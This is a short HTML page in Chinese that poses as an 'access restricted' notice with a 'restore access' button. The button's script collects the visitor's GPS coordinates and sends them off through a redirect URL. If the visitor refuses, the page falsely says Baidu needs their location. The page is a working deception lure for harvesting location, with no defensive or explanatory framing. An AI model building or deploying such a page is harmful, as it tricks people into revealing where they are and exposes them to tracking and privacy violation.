<!DOCTYPE html>
<html>
    <head>
        <title>您的访问受到限制</title>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
    </head>
<body>
    <div class="header" align="center">
        <div style="width: 100%;height: 100px"></div>
        <div class="logo"></div>
        <p style="color: red">您的访问受到限制!</p>
        <br />
        <table>
            <td>
                <p>点击下方</p>
            </td>
            <td>
                <h5>申请恢复访问</h5>
            </td>
            <td>
                即可申请恢复访问
            </td>
        </table>
        <div style="width: 100%;height: 200px"></div>
        <button class="btn" onclick="get_location()">申请恢复访问</button>
    </div>
</body>
<style>
    .logo{
        width: 300px;
        height: 70px;
        background-image: url();
        background-repeat: no-repeat;
        background-size: 100% 100%;
    }
    .btn{
        width: 300px;
        height: 50px;
        background-color: #00bfff;
        border-radius: 10px;
        color: white;
        border: none;
    }
</style>
<script>
    function get_location(){
        if(navigator.geolocation) {
            navigator.geolocation.getCurrentPosition(
                function(position) {
                    let getLongitude = position.coords.longitude;
                    let getLatitude = position.coords.latitude;
                    console.log(getLongitude) ;
                    console.log(getLatitude) ;
                    list_location = [
                        'Longitude:' + getLongitude ,
                        'Latitude:' + getLatitude ,
                    ] ;
                    window.location.href = "locationInfo="+list_location ;
                },
                //on error
                function(error) {
                    var errorType = ['百度需要您的位置信息才可以进行服务访问', '位置信息不可用', '获取信息超时'];
                    alert(errorType[error.code - 1]);
                }
            );
        } ;
    }
</script>
</html>